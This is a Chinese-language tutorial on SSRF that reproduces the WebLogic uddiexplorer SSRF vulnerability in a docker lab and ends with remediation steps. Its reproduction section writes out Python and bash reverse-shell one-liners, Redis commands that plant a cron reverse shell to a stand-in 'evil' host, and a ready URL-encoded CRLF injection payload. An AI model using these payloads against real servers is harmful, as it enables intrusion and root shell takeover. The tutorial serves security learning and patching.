目录
<1> 什么是SSRF?
<2> 通常SSRF会发生在哪些位置?
<3> 测试流程
<4> Weblogic-ssrf 复现
(1) 漏洞存在点
(2) 注入HTTP头,利用Redis反弹shell
(3) 修复方案
<1> 什么是SSRF?
SSRF(Server-Side Request Forgery)服务器端请求伪造。与 CSRF 不同的是,SSRF 针对的是从外部无法访问的服务器所在的内网,并对其进行探测、攻击。
服务器端请求伪造,简单来说,就是服务器端代替用户向目标网址发起请求,当目标地址为服务器内网时,便造成了 SSRF。
可造成的危害有:
- 内网主机端口探测(cms识别)
利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。
可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口
- 任意文件读取
- 攻击内网、getshell
- 等等
<2> 通常SSRF会发生在哪些位置?
- 添加图片地址
- 添加 url
- 一些在线服务,如:爬虫、网页分享(获取摘要)等等
- XXE 漏洞也可以造成 SSRF
- 远程文件包含也可造成 SSRF
- 各种 api 接口
- url 中的关键字有:share、wap、url、link、src、source、target、display、sourceURl、imageURL、domain·······
<3> 测试流程
-
寻找一些跟添加 url 有关的功能点
-
发包、抓包,观察 GET 参数或者 POST 参数中的参数有无特征参数,并且参数值为 URL 网址
-
更改其中的 URL 的值后发包,对比正常请求,观察返回包长度、返回码、返回信息、响应时间以及是否有响应,不同则可能存在SSRF漏洞
-
也可以将其中的 URL 的值改为自己的远程主机,并在主机上开启监听。当监听到该网址发送过来的请求时,则可能存在SSRF漏洞
-
尝试绕过过滤规则,实现内网探测、攻击,比如说 redis 未授权访问拿 shell 等
-
利用 file:// 协议,则可进行任意文件读取,进一步利用拿 shell 等
<4> Weblogic-ssrf 复现
漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
影响版本:weblogic 10.0.2 – 10.3.6版本
(1) 漏洞存在点
docker-compose up -d
访问http://your-ip:7001/console/login/LoginForm.jsp 可以看见登录页面
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
burp抓包进行测试
- 修改operator参数为外网http://www.baidu.com
会返回
Received a response from url: http://www.baidu.com which did not have a valid SOAP content-type: text/html
很明显,服务器是访问了百度,并且告知客户端其接收到了一个包含content-type: text/html
的响应
- 再访问本机存在的端口,修改operator参数为http://127.0.0.1:7001
一般是返回 status code
- 修改为一个不存在的端口,修改operator参数为http://127.0.0.1:6666
将会返回could not connect over HTTP to server
- 当访问内网一些不走 http 协议并且开启了的端口时 比如redis 6379,修改operator参数为http://172.23.0.2:6379 (redis服务器ip为172.23.0.2 weblogic为172.23.0.3)
会返回 did not have a valid SOAP content-type
通过错误的不同,即可探测内网状态
(2) 注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
- 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*.*.*),docker inspect发现redis服务ip为
172.23.0.2
通过回显错误的信息:did not have a valid SOAP content-type,可以发现172.23.0.2:6379
可以连通
python反弹shell:
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash反弹shell:
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
- 发送如下三条redis命令,将反弹shell脚本写入/etc/crontab
定时任务:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave
替换%0a为%0d%0a
test%0D%0A%0D%0Aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0D%0A%0D%0Aaaa
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
(3) 修复方案
- 方法一:
删除uddiexplorer文件夹
限制uddiexplorer应用只能内网访问
- 方法二:
将SearchPublicRegistries.jsp直接删除
- 方法三:
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;
2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;
3)用winrar等工具打开uddiexplorer.war;
4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;
5)保存后上传回服务端替换原先的uddiexplorer.war;
6)对于多台主机组成的集群,针对每台主机都要做这样的操作;
7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。